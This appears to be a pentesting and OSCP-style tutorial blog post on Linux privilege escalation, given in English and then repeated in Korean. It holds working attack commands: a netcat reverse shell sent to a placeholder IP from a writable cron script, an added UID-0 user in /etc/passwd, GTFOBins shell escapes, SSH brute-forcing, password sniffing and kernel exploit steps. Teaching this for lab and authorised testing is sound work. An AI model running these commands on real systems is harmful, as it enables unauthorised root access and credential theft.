Linux Privilege Escalation Techniques

Linux Privilege Escalation Techniques

in

Overview

This post summarizes various techniques for Linux privilege escalation, often encountered during penetration testing or CTFs like OSCP. It covers manual and automated enumeration methods, common misconfigurations, and kernel exploit strategies.

Linux Enumeration

Understanding the target system is the first step.

Manual Enumeration

Gather basic information using built-in commands:

  • User & Permissions: id, cat /etc/passwd
  • System Info: hostname, cat /etc/issue, cat /etc/os-release
  • Kernel & Arch: uname -a
  • Processes: ps aux
  • Networking: ip a, route, ss -anp (active connections), ss -tlpn (TCP open ports), netstat -atnp (listening ports)
  • Firewall: cat /etc/iptables/rules.v4
  • Scheduled Tasks: ls -lah /etc/cron*, crontab -l, sudo crontab -l
  • Installed Packages: dpkg -l (Debian/Ubuntu)
  • Writable Directories: find / -writable -type d 2>/dev/null
  • Mounted Filesystems: mount, cat /etc/fstab, lsblk
  • Kernel Modules: lsmod, /sbin/modinfo <module_name>
  • Setuid Binaries: find / -perm -u=s -type f 2>/dev/null
  • Capabilities: /usr/sbin/getcap -r / 2>/dev/null

Example Scenario: Finding Credentials in .bashrc

env
cat .bashrc
# Assuming credentials found, try to switch user
su - root
whoami

# Brute-forcing SSH password if user/pass hinted
# crunch 6 6 -t Lab%%% > wordlist
# hydra -l eve -P wordlist <target_ip> -t 4 ssh -V
# ssh eve@<target_ip>

sudo -l # Check sudo permissions

# Escalate if possible
sudo -i

Monitoring for Passwords:

  • Watch processes: watch -n 1 "ps -aux | grep pass"
  • Sniff local traffic: sudo tcpdump -i lo -A | grep "pass"

Automated Enumeration

Tools can speed up the process.

  • unix-privesc-check: Run unix-privesc-check standard > output.txt and look for warning keywords. You might need to transfer it (scp) if not present.

Exploiting Misconfigurations

Cron Script Misconfiguration (Cronjob Exploit)

If a cron job runs a script with weak permissions, you can modify it for a reverse shell.

  1. Identify Cron Jobs: grep "CRON" /var/log/syslog, check /etc/crontab, /etc/cron.*/*
  2. Check Script Permissions: ls -lah /path/to/script.sh
  3. Modify Script: If writable, append reverse shell payload.
    # Example payload (adjust IP and port)
    echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc YOUR_IP 1234 >/tmp/f' >> /path/to/script.sh
    
  4. Start Listener: nc -lnvp 1234 on your machine.
  5. Wait for the cron job to execute.

Weak Hash in /etc/passwd

If /etc/passwd is world-writable (highly insecure!), you can add a new root user.

  1. Check Permissions: ls -al /etc/passwd
  2. Generate Password Hash: On the target machine: openssl passwd <your_password> (e.g., w00t) -> outputs hash (e.g., YSSyRQ853q.bE)
  3. Append User:
    echo "root2:YSSyRQ853q.bE:0:0:root:/root:/bin/bash" >> /etc/passwd
    
  4. Switch User: su root2 (use the password you set)

Escalation with Setuid/Capabilities

Binaries with the Setuid bit or specific capabilities run with higher privileges.

  • Finding Setuid: find / -perm -u=s -type f 2>/dev/null
  • Finding Capabilities: /usr/sbin/getcap -r / 2>/dev/null

Refer to GTFOBins for known exploitation methods for specific binaries.

  • find (Setuid):
    find . -exec /bin/sh -p \; -quit
    
  • perl (CAP_SETUID):
    perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
    
  • gdb (Example):
    gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
    

Escalation with Sudo

If a user can run specific commands via sudo without a password or with known privileges, abuse them.

  1. Check Sudo Permissions: sudo -l
  2. Check GTFOBins: Look for the allowed commands (e.g., tcpdump, apt-get, gcc).
  • tcpdump (Potential Issues): Exploits might be blocked by security modules like AppArmor. Check logs (/var/log/syslog) for denials.
    # GTFObins tcpdump example (might fail due to AppArmor/permissions)
    COMMAND='id'
    TF=$(mktemp)
    echo "$COMMAND" > $TF
    chmod +x $TF
    sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
    
  • apt-get / apt:
    # Open a shell via the pager used by changelog
    sudo apt-get changelog apt
    # Inside the pager (like less), type:
    !/bin/sh
    
  • gcc (via wrapper):
    # Creates a dummy file and uses sh as a wrapper
    sudo gcc -wrapper /bin/sh,-s .
    

Exploiting Kernel Vulnerabilities

Requires identifying the OS, kernel version, and architecture.

  1. Gather Info: cat /etc/issue, uname -r, arch
  2. Search for Exploits: Use tools like searchsploit or online resources (Exploit-DB).
    searchsploit "linux kernel <OS_Version> Local Privilege Escalation"
    # Example: searchsploit "linux kernel Ubuntu 16.04 4.4 Local Privilege Escalation"
    
  3. Transfer Exploit: Use scp, wget, etc.
    # Find exploit path with searchsploit
    searchsploit -m <exploit_id.c>
    # Transfer
    scp <exploit_id.c> user@target_ip:~/
    
  4. Compile & Run: On the target machine.
    gcc <exploit_id.c> -o exploit_binary -lpthread # (Flags may vary)
    ./exploit_binary
    
    • Example (CVE-2017-16995 / 45010.c): Often used for older kernels.
    • Example (PwnKit / CVE-2021-4034): Affects pkexec found in many distributions. Check if pkexec exists and has setuid (find / -name pkexec -perm -u=s 2>/dev/null). Requires cloning the exploit repo and compiling on the target.

Quick Checklist for Enumeration

When starting, quickly check these:

  • cat /etc/issue, uname -a (OS/Kernel/Arch)
  • sudo -l (Sudo rights)
  • find / -perm -u=s -type f 2>/dev/null (Setuid binaries)
  • /usr/sbin/getcap -r / 2>/dev/null (Capabilities)
  • ls -al /etc/passwd (Passwd permissions)
  • ls -lah /etc/cron*, crontab -l (Cron jobs)

This summary provides a starting point for exploring Linux privilege escalation vectors. Always refer to resources like GTFOBins and Exploit-DB for specific command exploits.

개요

이 글은 침투 테스트나 OSCP 같은 CTF에서 자주 마주치는 리눅스 권한 상승(privilege escalation) 기법들을 한데 모아 정리한 글입니다. 수동, 자동 열거 방법부터 흔한 오설정, 커널 익스플로잇 전략까지 훑어보겠습니다.

리눅스 열거(Enumeration)

뭐든 그렇듯, 대상 시스템을 파악하는 것이 첫걸음입니다.

수동 열거

먼저 내장 명령으로 기본 정보부터 긁어모읍니다.

  • 사용자 & 권한: id, cat /etc/passwd
  • 시스템 정보: hostname, cat /etc/issue, cat /etc/os-release
  • 커널 & 아키텍처: uname -a
  • 프로세스: ps aux
  • 네트워킹: ip a, route, ss -anp (활성 연결), ss -tlpn (열린 TCP 포트), netstat -atnp (리스닝 포트)
  • 방화벽: cat /etc/iptables/rules.v4
  • 예약 작업: ls -lah /etc/cron*, crontab -l, sudo crontab -l
  • 설치된 패키지: dpkg -l (Debian/Ubuntu)
  • 쓰기 가능 디렉터리: find / -writable -type d 2>/dev/null
  • 마운트된 파일시스템: mount, cat /etc/fstab, lsblk
  • 커널 모듈: lsmod, /sbin/modinfo <module_name>
  • Setuid 바이너리: find / -perm -u=s -type f 2>/dev/null
  • Capabilities: /usr/sbin/getcap -r / 2>/dev/null

예시 시나리오: .bashrc에서 자격 증명 찾기

env
cat .bashrc
# Assuming credentials found, try to switch user
su - root
whoami

# Brute-forcing SSH password if user/pass hinted
# crunch 6 6 -t Lab%%% > wordlist
# hydra -l eve -P wordlist <target_ip> -t 4 ssh -V
# ssh eve@<target_ip>

sudo -l # Check sudo permissions

# Escalate if possible
sudo -i

비밀번호 모니터링:

  • 프로세스 감시: watch -n 1 "ps -aux | grep pass"
  • 로컬 트래픽 스니핑: sudo tcpdump -i lo -A | grep "pass"

자동 열거

도구의 힘을 빌리면 이 과정을 훨씬 빠르게 끝낼 수 있습니다.

  • unix-privesc-check: unix-privesc-check standard > output.txt를 실행한 뒤 warning 키워드를 훑어보세요. 대상에 없으면 (scp로) 올려 줘야 할 수도 있습니다.

오설정(Misconfiguration) 악용

Cron 스크립트 오설정 (Cronjob 익스플로잇)

cron 작업이 권한이 허술한 스크립트를 돌리고 있다면, 그 스크립트를 슬쩍 고쳐 리버스 셸을 딸 수 있습니다.

  1. Cron 작업 식별: grep "CRON" /var/log/syslog, /etc/crontab, /etc/cron.*/* 확인
  2. 스크립트 권한 확인: ls -lah /path/to/script.sh
  3. 스크립트 수정: 쓰기 권한이 있다면 리버스 셸 페이로드를 덧붙인다.
    # Example payload (adjust IP and port)
    echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc YOUR_IP 1234 >/tmp/f' >> /path/to/script.sh
    
  4. 리스너 시작: 내 머신에서 nc -lnvp 1234.
  5. cron 작업이 실행되길 기다린다.

/etc/passwd의 취약한 해시

/etc/passwd가 누구나 쓸 수 있게(world-writable) 열려 있다면(정말 위험한 설정이죠) 새 root 사용자를 통째로 하나 추가해 버릴 수 있습니다.

  1. 권한 확인: ls -al /etc/passwd
  2. 비밀번호 해시 생성: 대상 머신에서 openssl passwd <your_password> (예: w00t) -> 해시 출력(예: YSSyRQ853q.bE)
  3. 사용자 추가:
    echo "root2:YSSyRQ853q.bE:0:0:root:/root:/bin/bash" >> /etc/passwd
    
  4. 사용자 전환: su root2 (설정한 비밀번호 사용)

Setuid/Capabilities를 이용한 권한 상승

Setuid 비트나 특정 capability가 붙은 바이너리는 상승된 권한으로 실행됩니다. 여기에 허점이 있으면 곧장 권한 상승으로 이어지죠.

  • Setuid 찾기: find / -perm -u=s -type f 2>/dev/null
  • Capabilities 찾기: /usr/sbin/getcap -r / 2>/dev/null

특정 바이너리를 어떻게 악용하는지는 GTFOBins에 잘 정리돼 있으니 참고하세요.

  • find (Setuid):
    find . -exec /bin/sh -p \; -quit
    
  • perl (CAP_SETUID):
    perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
    
  • gdb (예시):
    gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
    

Sudo를 이용한 권한 상승

사용자가 비밀번호 없이, 혹은 알려진 권한으로 sudo를 통해 특정 명령을 돌릴 수 있다면 이걸 지렛대로 삼습니다.

  1. Sudo 권한 확인: sudo -l
  2. GTFOBins 확인: 허용된 명령(예: tcpdump, apt-get, gcc)을 찾아본다.
  • tcpdump (걸림돌이 될 수 있는 부분): 익스플로잇이 AppArmor 같은 보안 모듈에 막힐 수 있습니다. 로그(/var/log/syslog)에서 거부(denial)가 찍혔는지 확인해 보세요.
    # GTFObins tcpdump example (might fail due to AppArmor/permissions)
    COMMAND='id'
    TF=$(mktemp)
    echo "$COMMAND" > $TF
    chmod +x $TF
    sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
    
  • apt-get / apt:
    # Open a shell via the pager used by changelog
    sudo apt-get changelog apt
    # Inside the pager (like less), type:
    !/bin/sh
    
  • gcc (wrapper 이용):
    # Creates a dummy file and uses sh as a wrapper
    sudo gcc -wrapper /bin/sh,-s .
    

커널 취약점 악용

먼저 OS와 커널 버전, 아키텍처부터 정확히 파악해야 합니다.

  1. 정보 수집: cat /etc/issue, uname -r, arch
  2. 익스플로잇 검색: searchsploit 같은 도구나 온라인 자료(Exploit-DB)를 활용합니다.
    searchsploit "linux kernel <OS_Version> Local Privilege Escalation"
    # Example: searchsploit "linux kernel Ubuntu 16.04 4.4 Local Privilege Escalation"
    
  3. 익스플로잇 전송: scp, wget 등을 사용한다.
    # Find exploit path with searchsploit
    searchsploit -m <exploit_id.c>
    # Transfer
    scp <exploit_id.c> user@target_ip:~/
    
  4. 컴파일 & 실행: 대상 머신에서.
    gcc <exploit_id.c> -o exploit_binary -lpthread # (Flags may vary)
    ./exploit_binary
    
    • 예시 (CVE-2017-16995 / 45010.c): 구형 커널에 자주 씁니다.
    • 예시 (PwnKit / CVE-2021-4034): 많은 배포판에 깔려 있는 pkexec를 노립니다. pkexec가 존재하고 setuid가 걸려 있는지 먼저 확인하고(find / -name pkexec -perm -u=s 2>/dev/null), 익스플로잇 저장소를 클론해 대상에서 직접 컴파일하면 됩니다.

열거를 위한 빠른 체크리스트

막 셸을 잡았다면, 우선 이것들부터 빠르게 훑어보세요.

  • cat /etc/issue, uname -a (OS/커널/아키텍처)
  • sudo -l (Sudo 권한)
  • find / -perm -u=s -type f 2>/dev/null (Setuid 바이너리)
  • /usr/sbin/getcap -r / 2>/dev/null (Capabilities)
  • ls -al /etc/passwd (Passwd 권한)
  • ls -lah /etc/cron*, crontab -l (Cron 작업)

이 정도면 리눅스 권한 상승 벡터를 파고들기 위한 출발점으로는 충분할 겁니다. 개별 명령의 구체적인 익스플로잇은 언제나 GTFOBins와 Exploit-DB 같은 자료를 함께 참고하시길 권합니다.